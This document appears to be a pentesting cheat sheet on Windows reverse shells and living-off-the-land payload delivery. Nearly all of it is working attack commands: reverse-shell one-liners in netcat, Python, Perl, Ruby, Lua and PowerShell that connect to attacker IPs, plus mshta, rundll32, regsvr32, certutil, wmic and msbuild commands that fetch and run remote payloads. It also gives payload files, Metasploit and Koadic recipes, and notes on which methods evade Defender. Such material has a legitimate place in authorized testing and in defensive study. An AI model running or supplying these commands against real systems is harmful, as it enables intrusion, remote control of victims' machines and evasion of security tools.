Pentesting

Shells - Windows

The page lolbas-project.github.io is for Windows like https://gtfobins.github.io/ for linux. Obviously there isn't SUID files or sudo privileges in Windows, but it's useful to know how some binaries can be (ab)used perform some kind of unexpected actions like execute arbitrary code.

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

SBD

sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-resources/sbd/sbd.exe) can be uploaded to a Windows box as a Netcat alternative.

Python

#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Perl

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

OpenSSH

Attacker (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Victim

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Powershell

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

Process performing network call: powershell.exe Payload written on disk: NO (at least nowhere I could find using procmon !)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

One liner:

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Get more info about different Powershell Shells at the end of this document

Mshta

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

Process performing network call: mshta.exe Payload written on disk: IE local cache

mshta http://webserver/payload.hta

Process performing network call: mshta.exe Payload written on disk: IE local cache

mshta \\webdavserver\folder\payload.hta

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

Example of hta-psh reverse shell (use hta to download and execute PS backdoor)

<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

You can download & execute very easily a Koadic zombie using the stager hta

hta example

<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

Extracted from here

mshta - sct

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Extracted from here

Mshta - Metasploit

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit

Detected by defender

Rundll32

Dll hello world example

rundll32 \\webdavserver\folder\payload.dll,entrypoint

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Process performing network call: rundll32.exe Payload written on disk: IE local cache

Detected by defender

Rundll32 - sct

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Extracted from here

Rundll32 - Metasploit

use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

Rundll32 - Koadic

use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

Regsvr32

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

Process performing network call: regsvr32.exe Payload written on disk: IE local cache

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

Detected by defender

Regsvr32 -sct

<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

Extracted from here

Regsvr32 - Metasploit

use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

You can download & execute very easily a Koadic zombie using the stager regsvr

Certutil

Download a B64dll, decode it and execute it.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Download a B64exe, decode it and execute it.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Detected by defender

Cscript/Wscript

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript - Metasploit

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

Detected by defender

PS-Bat

\\webdavserver\folder\batchfile.bat

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
\\10.8.0.3\kali\shell.bat

Detected by defender

MSIExec

Attacker

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80

Victim:

victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

Detected

Wmic

wmic os get /format:"https://webserver/payload.xsl"

Process performing network call: wmic.exe Payload written on disk: IE local cache

Example xsl file:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>

Extracted from here

Not detected

You can download & execute very easily a Koadic zombie using the stager wmic

Msbuild

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell. Just download this and execute it: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

Not detected

CSC

Compile C# code in the victim machine.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

You can download a basic C# reverse shell from here: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

Not deteted

Regasm/Regsvc

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

I haven't tried it

https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182

Odbcconf

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

I haven't tried it

https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2

Powershell Shells

PS-Nishang

https://github.com/samratashok/nishang

In the Shells folder there are a lot of different shells. To download and execute Invoke-PowerShellTcp.ps1 make a copy of the script, append to the end of the file:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Start serving the script in a web server and execute in the victim:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender doesn't detect it as malicious code (yet, 3/04/2019).

TODO: Check other nishang shells

PS-Powercat

https://github.com/besimorhino/powercat

Download, start web server, star listener and execute in victim:

powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender doesn't detect it as malicious code (yet, 3/04/2019).

Other options offered by powercat:

Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...

Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep

Empire

https://github.com/EmpireProject/Empire

Create a powershell launcher, save it in a file and download and execute it.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Detected as malicious code

MSF-Unicorn

https://github.com/trustedsec/unicorn

Create a powershell version of metasploit backdoor using unicorn

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

Start msfconsole with the created resource:

msfconsole -r unicorn.rc

Start a web server serving the powershell_attack.txt file and execute in the victim:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

Detected as malicious code

More

PS>Attack PS console with some offensive PS modules preloaded (cyphered) https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9 WinPWN PS console with some offensive PS modules and proxy detection (IEX)

Bibliography